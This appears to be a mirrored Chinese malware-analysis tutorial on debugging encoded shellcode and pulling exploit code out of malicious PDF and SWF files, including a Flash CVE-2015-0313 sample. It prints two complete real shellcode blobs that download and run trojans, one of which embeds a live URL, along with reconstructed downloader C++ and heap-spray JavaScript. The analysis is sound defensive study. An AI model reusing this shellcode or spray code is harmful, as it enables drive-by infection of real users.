<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/6463

            腳本先鋒系列第四章,也是最后一章。將介紹對Shellcode的調試,以及SWF、PDF漏洞的利用文件的簡單處理過程。

            下一部分預告:

            IE安全系列:中流砥柱(I) — JScript 5 解釋器處理基本類型、函數等的簡單介紹

            IE中使用的Javascript解析器經歷了多年的磨練,終于在版本5處分成了兩個大版本,5之后的9,二者的關聯和對一些內容的處理方式的不同之處,這兩篇中,第一篇將對Jscript 5.8引擎中的字處理、函數調用等做簡單的介紹。

            IE安全系列:中流砥柱(II) — JScript 9(Charka)編譯后字節碼的簡單介紹

            多年磨練之后,Jscript 9的性能得到了很大的提升,9和5處理起一些基本類型數據的區別會在這篇簡要敘述,這篇會有和(I)類似的介紹,只不過是針對Charka的腳本流程的。 (這個成語,我想大概也能這么用吧……)

            VI.1 調試Shellcode


            上一篇(V.2)中,我們留下了一個全篇使用XOR 0xE2加密的Shellcode,這篇中,我們將使用調試工具解密它。

            escape 之后的SHELLCODE如下:

            #!javascript
            %u0C0C%u6090%u1CEB%u4B5B%uC933%uB966%u03F8%u3B81%u0BFF%uE160%u850F%u0254%u0000%u3480%uE20B%uFAE2%u05EB%uDFE8%uFFFF%u0BFF%uE160%uE2E2%u86BD%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u8815%uBBED%uC00A%uE2E1%u72E2%u1A00%uD18A%uE2D0%u8AE2%u91B7%u9087%u69B6%uEEA4%u720A%uE2E0%u69E2%u880A%uBBE3%uE00A%uE2E1%u00E2%u8A1B%u8C8D%uE2E2%u978A%u8E90%uB68F%uF41D%u2267%uF197%u8D8A%uE28C%u8AE2%u9097%u8F8E%u69B6%uEEA4%u820A%uE2E0%u69E2%u880A%uBBE3%u300A%uE2E0%u00E2%u8A1B%uD18E%uE2D0%u918A%u878A%uB68E%uA469%u0AEE%uE0A3%uE2E2%u0A69%uE388%u0ABB%uE051%uE2E2%u1B00%u0E63%uE3E2%uE2E2%u3E69%u2163%uE262%uE2E2%uE288%uF888%u88B1%u1DE2%uA6B4%u22D1%u62A2%uE1DE%u97E2%u6B1B%u7264%uE2E2%u25E2%uE1E6%u83BE%u87CC%uA625%uE6E1%u879A%uE2E2%u2BD1%uB3B3%uB5B1%uD1B3%u6922%uA2A4%u0C0A%uE2E3%u61E2%uE21A%u67ED%uE37E%uE2E2%uE288%uE288%uE188%uE288%uE088%uE28A%uE2E2%uB122%uA469%u0AC6%uE32F%uE2E2%u1A61%uED1D%u9966%uE2E3%u6BE2%u82A4%uE288%u1DB2%uCAB4%uA46B%u6986%u7264%uE2E2%u25E2%uE1E6%u80BE%u87CC%uA625%uE6E1%u879A%uE2E2%uE288%uE288%uE088%uE288%uE288%uE28A%uE2E2%uB1A2%uA469%u0AC6%uE369%uE2E2%u1A61%uED1D%uDB66%uE2E3%u6BE2%u6664%uE2E2%u6BE2%u6E7C%uE2E2%u69E2%u82A4%uE288%uE288%uE288%uA469%uB282%uB41D%u25DA%u92A4%uE2E2%uE2E2%uA425%uE296%uE2E2%u63E2%uE225%uE2E0%uD1E2%u6939%u86BC%uE288%uA46F%uB292%uE28A%uE2E6%uB5E2%u941D%u1D82%uE6B4%u2BD1%uE25B%uE2E6%u62E2%uED9E%u771D%uEE96%u9E62%u1DED%u96E2%u62E7%uED96%u771D%u0900%u2169%uE2CF%uE2E6%u61E2%uE21A%uE19D%uBC6B%u8892%u6FE2%u96A4%u1DB2%u9294%u1DB5%u6654%uE2E2%u1DE2%uD2B4%u0963%uE6E2%uE2E2%u1961%u9DE2%u1D47%u8294%uB41D%u1DD6%u6654%uE2E2%u1DE2%uD6B4%u6469%uE272%uE2E2%u7C69%uE26E%uE2E2%uE625%uBEE1%uCC83%uB187%uB41D%u69CE%u6E5C%uE2E2%u69E2%u7264%uE2E2%u25E2%uE5E6%u80BE%u87CC%u0E63%uE3E2%uE2E2%u3E69%uE28A%uE2E3%uB1E2%uE28A%uE2E3%uB5E2%uE288%uE288%uB41D%u69FE%uD119%uD122%u6339%uE20E%uE2E0%u69E2%u612E%uB61A%uEA9F%uFE6B%u61E3%uE622%u1109%u2E69%u3B69%u2161%uD1F2%uB222%uB1B3%uB2B2%uB2B2%uB2B2%uB2B5%u69B2%uEAA4%u650A%uE2E2%u63E2%uFA26%uE2E6%u83E2%uA425%uE1F6%uE2E2%uD1E2%u692B%uC6DE%u0D61%u6194%uEA26%u2BD1%u051D%uE288%uB41D%u86F6%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u6B15%u86B4%uE688%u0ABB%uE241%uE2E2%u0072%u8A1A%uD0D1%uE2E2%uB78A%u8791%uB690%uE469%uF00A%uE2E2%u69E2%u880A%uBBE7%u660A%uE2E2%u00E2%uD11B%uB51D%uB41D%u62E6%u0ADA%uDA62%u970B%u63F3%uE79A%u7272%u7272%uEA96%u1D69%u69B7%u6F0E%uE7A2%u021D%uDA0A%uE2E2%u21E2%uDA62%u620A%u0BDA%uF397%u9A63%u72E7%u7272%u9672%u8A05%uE8EA%uE2E2%uA26F%u1DE7%u0A02%uE2F5%uE2E2%u0A21%uE2F3%uE2E2%uF35A%uE6E3%u2062%uE2EE%uE009%u21BA%u1B0A%u1D1D%uB91D%uE524%u6B5A%uE3BD%u2584%uE7A5%u021D%uB121%u3E69%u88B1%u8AA2%uF2E2%uE2E2%u69B5%uC2A4%u640A%u1D1D%uBA1D%uB321%u69B4%uDE97%u9669%u9ACC%u17E1%u69B4%uC294%u17E1%u2BD1%uA3AB%uE14F%uD127%uED39%uF25C%u34D8%uEA96%u2923%uE1E5%uA238%u1309%uFDD9%u0597%u69BC%uC6BC%u3FE1%u6984%uA9EE%uBC69%uE1FE%u693F%u69E6%u27E1%uBC49%u21BB%u9B0A%u1D1E%u501D%u0010%u5016%uEDD4%u12F1%u99AA%uD0DF%u7396%u67EE%u4D3D%u8159%u336B%uB3AD%u58A2%uE59D%uC070%uFC92%u8646%u710D%u06D0%u6C76%uE8F1%u9B4E%u04DB%u267A%uFD6F%uB596%uEF84%uA11D%u4E5C%u7A39%uF2E8%u621A%u4D34%u1978%uF7B1%u8A84%u9696%uD892%uCDCD%u8083%uCC8C%u8C86%uD291%uD7D5%uCCD7%u878C%uCD96%uCD86%u8686%uCC86%u9A87%uE287%uE2E2
            

            將這些Shellcode放到EXE根部,組成一個EXE,見參考資料(1]附件。

            enter image description here

            警告 如果你直接解壓這個程序,你的殺毒軟件可能會報警。這是因為該Shellcode已經被多個殺毒軟件作為特征入庫。請在虛擬環境執行,或者暫時關閉殺毒軟件。

            enter image description here

            enter image description here

            CALL 405006調用時,會將其下一條指令的地址壓棧,因此00405006處的POP EBX其實獲取到的就是下一條指令的地址。

            之后ECX = 0x3F8的語句其實就是為了告訴下面的LOOP指令要循環多少(0x3f8)次,這也是加密后的字符串長度。

            enter image description here

            然后,下一句意義其實不大,只是為了確保要解密的內容對不對,

            enter image description here

            緊接著是一個JNZ指令,可以看到OllyDbg之前發生了解析錯誤。OD解析為了DB、TEST、DB三條不倫不類的數據+指令的結合,對比IDA的結果可以知道這里是一個JNZ,實際上跟著CMP,這里十有八九也是跳轉指令。

            enter image description here

            選中三行,右鍵選擇analysis - remove analysis from selection,這時就可以恢復正常的語句。

            enter image description here

            接下來的XOR+LOOP則就是經典的“加密/解密”,一大牛也戲稱中國三大加密算法之一的異或解密。解密密鑰很明顯就是0xe2了。

            在LOOP下一行下斷點,可以得到解密后的內容,此時OD還是解析有誤,我們手動選擇0x5033-0x3f8左右的內容,重復remove analysis的過程即可得到基本正確的代碼:

            enter image description here

            處理后:

            enter image description here

            4053AE處仍然是一個CALL,會回到40502C處,上圖中JMP的下一行。為什么這么做大家應該很容易理解,和之前一樣,4053AE之后的一句很可能就是常量值了,而且40502C處也有POP EDI的語句。

            enter image description here

            由于之前我們remove analysis比較多,導致了后面的常量也被當作了代碼,這個很容易就能發現,因為里面出現了大量的不明所以的代碼:

            enter image description here

            右鍵中選擇Analysis code即可重新分析這塊:

            enter image description here

            我們假裝什么都沒看見,繼續調試這段代碼。

            enter image description here

            30、0c、1c、8,這些令人熟悉的數字(不記得了請看上篇最后),可以肯定的知道這里就是在獲取某個函數地址,其實就是LoadLibrary了,這個肯定是各個Shellcode第一個要做的事情,要不然后續如何開展呢:)。

            405369的CALL即會獲取所需的函數地址。比較字符串可能會用掉較多的空間,所以這里它采用了給函數名取HASH的方式:

            enter image description here

            即偽代碼如下:

            #!c++
            DWORD dwHash;
            CHAR chFuncName;
            while(chFuncName = szWindowsAPIName++)
            {
            dwHash += chFuncName;
            _ROR(dwHash, 7);
            }
            

            在函數名這種大概一個模塊就幾百個的東西里面,這個HASH算法還是可以做到粗略的準確的,

            enter image description here

            此例中,在這附近就是存著的他們想要拿到的函數的HASH,獲取到函數地址之后會覆蓋掉對應的Hash,可見空間用的還是比較緊湊的:

            enter image description here

            之后就是簡單的函數跟蹤了,有興趣的話可以自己跟蹤一下,之后該Shellcode的動作我直接寫成C++代碼了,供參考,獲取函數地址的細節代碼我就跳過不寫了,不保證可編譯,不過如果要編譯的話簡單修改應該就可以了:

            #!c++
            HMODULE hModule = LoadLibraryA(“User32”);
            GetAddressFromModule(hModule, “GetModuleHandleA”); //自己獲取函數地址的函數,沒用系統的GetProcAddress,估計為了省字符串的長度,這里事實上還是用的Hash,為了方便閱讀這么寫了
            
            if(GetModuleHandleA(“urlmon”) == NULL)
            {
                hModule = LoadLibrary(“urlmon”);
            }
            GetAddressFromModule(hModule, “URLDownloadToFileA”);
            
            hModule = LoadLibraryA(“shell32”);
            GetAddressFromModule(hModule, “SHGetSpecialFolderPathA”);
            
            CHAR buffer[MAX_PATH];
            SHGetSpecialFolderPathA(0, buffer, 0x1a, 0);  //APPDATA
            
            strcat(buffer + strlen(buffer), “\a.exe”);
            
            do
            {
                if (URLDownloadToFileA(0, MALICIOUS_URL, buffer, 0, 0) == S_OK)
                {
                //這個URL訪問不了了,所以必然不是S_OK,執行完以后手動置EAX為0,然后隨便拷貝個EXE去%appdata%\a.exe吧,要不然后面調試起來會比較蛋疼
                    HANDLE hFile = CreateFileA(buffer, 0xc0000000, 2, 0, 3, 0, 0 );
                ?        if(hFile != INVALID_HANDLE)
                    {
                        DWORD dwFileSizeLo = GetFileSize(hFile, 0);
                        CHAR buffer_otherone[1024];
                        buffer[strlen(buffer) - 5] = ‘b’; //實際上操作語句不是這樣,不過最后結果一樣,簡單寫好了
                        HANDLE hFile2 = CreateFileA(buffer, 0x40000000, 0, 0, 2, 0, 0);
                        if(hFile2 == INVALID_HANDLE) break;
                        SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
                        DWORD dwPos = 0;
                        while(dwPos < dwFileSizeLo)
                        {
                            ReadFile(hFile, buffer_otherone, 1024, dwBytesRead, NULL);
                            dwPos += 1024;
                            for(int i=0; i<1024; ++i)
                            {
                                if(buffer_otherone[i] != 0 && buffer_otherone[i] != 0x95)
                                    buffer_otherone[i] ^= 0x95;
                            }
                            //事實上木馬下載回來的文件是0x95異或過的,只是為了防殺,所以這里為了保證它能正常運行,還需要這一步給它解回來
                            WriteFile(hFile2, buffer_otherone, 1024, 0, 0);
                        }
                        CloseHandle(hFile);
                        CloseHandle(hFile2);
                        buffer[strlen(buffer) - 5] = ‘a’; //實際上操作語句不是這樣,不過最后結果一樣,簡單寫好了
                        DeleteFileA(buffer);
                        buffer[strlen(buffer) - 5] = ‘b’; 
                        WCHAR bufferw[256];
                        MultiByteToWideChar(buffer, CP_ACP, 0, buffer, 256, bufferw,  256);
                        CreateProcessInternalW(0,0, bufferw, 0, 0, 0, 0); //啟動木馬
                    }
                }
            }while(0);
            
            ExitProcess(0);
            

            MALICIOUS_URL就這玩意,不貼上來了,要不白送別人一個友情鏈接多不好:

            enter image description here

            VI.2 Shellcode in PDF


            Adobe PDF Reader是一個全球內都廣泛使用的工具,而它又可以在IE中實例化,因此,PDF漏洞也是攻擊者熱衷于挖掘和利用的一個重要部分,而PDF中也允許Javascript的執行,這就更加劇了其安全問題,本節將簡單介紹如何提取PDF中的Shellcode。

            關于PDF結構的細節不在這里過多介紹,以下是一個PDF的很常見的形式,PDF有明顯的“節”(x x obj)和“節”信息(用雙尖括號包圍),而為了控制PDF的大小,PDF是支持多種壓縮方式的,一種方式是zlib算法的壓縮,這種方式壓縮的節顯示如下,可以從FlateDecode來區分出來。

            在stream-endstream之間的就是壓縮后的內容,還有個特征是這段內容的第一個字是“x”。

            enter image description here

            當然,PDF也是支持明文存放的甚至于直接內部執行JS,例如:

            enter image description here

            16 0 obj - endobj中間的就是js腳本。

            針對PDF的解析可以參考我之前放出來的Redoce工具,可以針對性地對壓縮過的部分進行解壓,例如圖中這節壓縮內容解壓后明顯是垃圾信息,因此可以跳過:

            enter image description here

            附件中的例子有惡意代碼的部分是明文存放的,因此要對它的代碼進行閱讀和Shellcode的抽取應該是相當簡單的。

            enter image description here

            還有一點是PDF中的JS并不是多“標準”,有個明顯的特征是它的內容會經過一層編碼,例如上圖\全部被編碼成了\,工具可以做簡單清理,如上圖所示。

            其實清理之后,留下來了很多\”,雖然不會產生語法錯誤,不過看起來還是很別扭,也可以手動再把這些\都刪掉。還有開頭的例如(?function ...需要手動刪除成(function ...。

            清理完的代碼見附件malicious_VI.rar 的 pdf.js.txt。

            簡單地閱讀一下代碼,雖說一眼就能看出來awn5fmmtY 這個變量就是Shellcode,和、至少是它的絕大部分,但是還是看一看吧:

            enter image description here

            一番閱讀之后,可以發現這里使用了app[’eval’](xxxx),正如你所見,不是他替換了什么東西,而是PDF中的eval函數實際上是屬于app對象的,而不是window對象。具體可以參照參考資料2,Adobe的開發資料。

            enter image description here

            最終執行的就是這么一段

            enter image description here

            為了不讓圖太大,我把字號縮小了,具體可參照附件。

            這一段中,采用了awn5fmmtY = unescape(awn5fmmtY.join(""));的方式將這個Array輸出成一個字符串。然后就是簡單的堆噴過程,

            enter image description here

            我們手動改一下變量就能看的很清楚了:

            #!c++
            var fK2iJohU = 0x400000;
            var mTcRGdIAFp = awn5fmmtY.length * 2;
            var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38);
            var sR4ZJ8w7ci = unescape("%u9090%u9090");
            sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL);
            var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU;
            for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++)
            {
                rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;
            }
            

            改為方便人閱讀的代碼就是:

            #!c++
            var  arr = new Array();
            var  blockSize = 0x400000;
            var  shellcodeSize = shellcode.length * 2;
            var  spraySize =  blockSize - (shellcodeSize + 0x38);
            var  nops = unescape("%u9090%u9090");
            nops = extendStrForXXTimes(nops, spraySize);
            var sprayTarget = 0x0c0c0c0c;
            var  fillTimes = (sprayTarget - 0x400000) / blockSize;
            for(var i = 0; i < fillTimes; i++)
            {
              arr[i] = nops + shellcode;
            }
            

            如何,上述代碼是否非常眼熟?對了,隨便找一個堆噴的js代碼都是如此。這個PDF實際上是利用了PDF的app.doc.Collab.getIcon()函數的溢出漏洞,該函數沒有對文件名長度進行檢查,直接拷貝進了緩沖區,是一個經典的溢出漏洞。利用時文件名需要加上特定的表示,例如下圖中N.doc,否則無法走入有漏洞的部分。Adobe JavaScript中使用堆噴在當時效果非常穩定:

            enter image description here

            具體細節網上有分析過程,在此不提了,Shellcode可以簡單看一下。

            提取出來的shellcode如下:

            #!c++
            %u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7500%u6470%u7461%u2e65%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u692f%u6b6e%u616b%u2e6b%u6e63%u652f%u746e%u7265%u752f%u6470%u7461%u2e65%u6870%u3f70%u6469%u333d%u7226%u7465%u6f3d%u006b%u9000
            

            enter image description here

            通過簡單處理可以看到就是簡單的URLDownloadToFile,由于這里%u0000不會影響流程,所以支持帶0的shellcode使得它的體積縮小了很多。簡單調試一下吧。將shellcode附著到exe之后(附件malicious2.exe.txt)。

            代碼十分簡單:

            enter image description here

            首先PUSHAD PUSHFD,然后使用POP EBP,SUB EBP,0D來構造一個棧幀。

            enter image description here

            接著又是常見的fs:30、0c、1c、8、34這些常見的值,后面的內容不言自明,我們可以鍛煉一下靜態閱讀,具體動作如下:

            enter image description here

            enter image description here

            也即跟著查找GetTempPathA(ebp+15e)等等函數的地址并保存在ebp+14e處。

            然后,還是上圖,就可以知道0x405053處的call實際上就是call了GetTempPathA,在此獲得臨時目錄位置,接下來

            enter image description here

            此處LoadLibrary EBP+245處的內容(URLMON.dll),然后并GetProcAddress獲取EBP+250處的函數地址(URLDownloadToFileA),并最終調用URLDownloadToFileA,下載的文件是EBP+278處的URL,保存到EBP+15E處(%temp%\update.exe):

            enter image description here

            并在此調用EBP+15E的函數(WinExec)執行下載回來的程序:

            enter image description here

            然后再次獲取Temp目錄的地址,重復之前的步驟,只不過下載到的是%temp%\crash.php,并再次調用WinExec執行,POPFD POPAD,退出程序。

            這個Shellcode的主要作用就是下載者了,因此到這里也算是完美的完成了任務了。讓我們再看看它的親戚:SWF。

            VI.3 Shellcode in SWF


            如上一節所說,SWF憑借著目前網上最為流行的多媒體互動程序Adobe Flash Player,SWF的用戶量只會比難兄難弟PDF的大而不會小,而SWF的漏洞高發,導致了SWF也稱為了漏洞利用者心目中的明星。針對SWF的反編譯,可以依賴于Eltima Software的Flash Decompiler Trillix,或者其他能弄成AS文件的都可以。

            單從SWF自身來說,它的壓縮模式常見的兩種,文件頭是CWS的表示使用了壓縮,也是zlib算法,FWS的表示沒有壓縮過。

            我的工具中也提供了對SWF的自動解壓,由于有些網馬會把URL明文存放,所以處理后還是可以方便病毒研究者來抓出URL的,如下圖:

            enter image description here

            接下來可以閱讀SWF的Action Script了,與之相關的書籍可以參考《ActionScript 3.0 Bible》,這是一本介紹十分詳細的工具書,或者其他你手頭可以讓你迅速看懂AS的資料也可。

            附件中malicous3.swf.txt是CVE-2015-0313 的利用文件,該漏洞是Flash Player的一個UAF問題,具體細節網上有很多了,這里我們還是針對SWF到AS的過程做一些解釋:

            使用Flash Decompiler Trillix載入該swf文件。

            enter image description here

            可以看到AS腳本中有三個類,這個SWF文件抓取自使用AEK ,AEK提供給別人用的東西都是高度混淆的,這里面也不例外,可見各個類的名字就已經被混淆過了。

            一個小問題是AEK是漏洞工具包,或者白話點就是賣給別人用來坑其他人的軟件,不是漏洞名。國內的一個軟件曾經提示了AEK是漏洞,其實是不正確的,具體名字我也就不截圖了:

            enter image description here

            AS3.0中會使用Worker對象,Worker對象間也可以共享對象3,漏洞代碼通過觸發在主執行線程和worker間共享的MessageChannel屬性中的漏洞來執行。主要是三步:

            1. 通過setSharedProperty把一個ByteArray對象設置為共享屬性
            2. 把這個ByteArray設置到domainMemory中
            3. worker調用getSharedProperty獲取這片內存,然后調用ByteArray::Clear清空它。Clear之后,domainMemory并沒有將內存置空,從而導致了UAF的存在。

            然后,讓我們先閱讀一下SWF代碼:

            #!c++
            In &.as:
             private static var 5:&;
             5 = new &();
            

            enter image description here

            這里的邏輯是如此連上的,所以“5”可以看作是class “&”的實例。

            由于class &::&()中設置了this.4 = "BAPO6SgZH....”; 因此,

            enter image description here

            函數7()中事實上loc1的值就是經過函數’()處理后的this.4后面這一串字符了,

            函數’()的定義如下:

            enter image description here

            不過這么看實在是太痛苦了,而且由于這個混淆使得Adobe Flash Professional CS5的著色也發生了混亂,因此讓我們手動替換一下里面的值。

            enter image description here

            首先簡單閱讀一下’(),知道它是某種解密函數,因此我直接把它換成decode();

            然后針對常量也做類似的簡單閱讀-替換:

            enter image description here

            最終得到:

            enter image description here

            enter image description here

            這樣代碼看起來就要方便得多了,不用在想這一堆亂七八糟的代號是什么了。使用檢查語法錯誤功能,檢查完畢后就可以執行這段代碼讓它自己吐處理結果了。

            enter image description here

            新建一個AS工程,把腳本粘進去。

            enter image description here

            然后在對應位置加上trace,decode返回的是類BASE64解后的結果,該SWF在這段代碼:

            #!c++
            while (i < myDecodedStr.length) 
            {
                   n = n + 1 & 255;
                   loc6 = (myByteArray[n] & 255) + loc6 & 255;
                   loc10 = myByteArray[n];
                   myByteArray[n] = myByteArray[loc6];
                   myByteArray[loc6] = loc10;
                   loc9 = (myByteArray[n] & 255) + (myByteArray[loc6] & 255) & 255;
                   myDecodedStr[i] = myDecodedStr[i] ^ myByteArray[loc9];
                   ++i;
            }
            

            運行完之后輸出的內容就是解密后的了,其實仔細看的話它就是個RC4。

            enter image description here

            Ctrl+Enter后卡了小一陣子,運行得到結果:

            enter image description here

            結果輸出又是一個SWF文件,真是讓人頭疼的事情,使用FileReference類即可(import flash.net.FileReference;

            enter image description here

            然后保存后的就是解密后的內容。對這個swf再做一個分析,如果Flash Decompiler一分析那個SWF就崩潰的話,這個時候可以換個其他類似工具,例如FFD

            enter image description here

            打開后可以看到類名點點杠杠的好不歡樂,AEK的加密已經喪心病狂到把它認為所有有可能威脅到自己的代碼全部RC4加密放到了二進制數據中,使用時現場取出解壓。

            眼睛都看花了,閱讀過程太過痛苦,就貼一下具體內容吧,

            enter image description here

            這里的邏輯是:如果沒解密的話解一下(if (!_a_-___-) _a-_—()),然后把index異或處理一下,異或的值就是a—。

            enter image description here

            這個是它的RC4加密的Key,2組密鑰,16字節一組。

            enter image description here

            enter image description here

            enter image description here

            最終此處做ROP并且使用Shellcode,參考資料(5]也是解了類似的SWF文件,其中的RC4解密代碼大家可以借鑒一用。

            enter image description here

            解出來的Shellcode使用的代碼很簡單,和上一節類似,會用WinHTTP的相關函數訪問網址并用XXTEA解密:

            如果是Shellcode ,直接執行;

            如果是DLL,下載并調用regsvr32 /s 來注冊(其實也就是啟動)它。

            Shellcode篇章至此結束,限于篇幅和個人能力,肯定還是有很多覆蓋不到的地方,一些實戰內容將在后續章節覆蓋,同時,參考資料4中也有大量的Shellcode可供調試。

            參考資料


            (1] 附件 請關閉殺毒軟件并在虛擬環境調試,網馬的Shellcode比較老,EXE調試環境推薦Windows XP SP3。

            (2] http://www.adobe.com/devnet/acrobat/javascript.html

            (3] Communicating between workers http://help.adobe.com/en_US/as3/dev/WS2f73111e7a180bd0-5856a8af1390d64d08c-7ffe.html

            (4] http://www.expl0it-db.com/

            (5] http://www.cnblogs.com/Lamboy/p/4278066.html

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线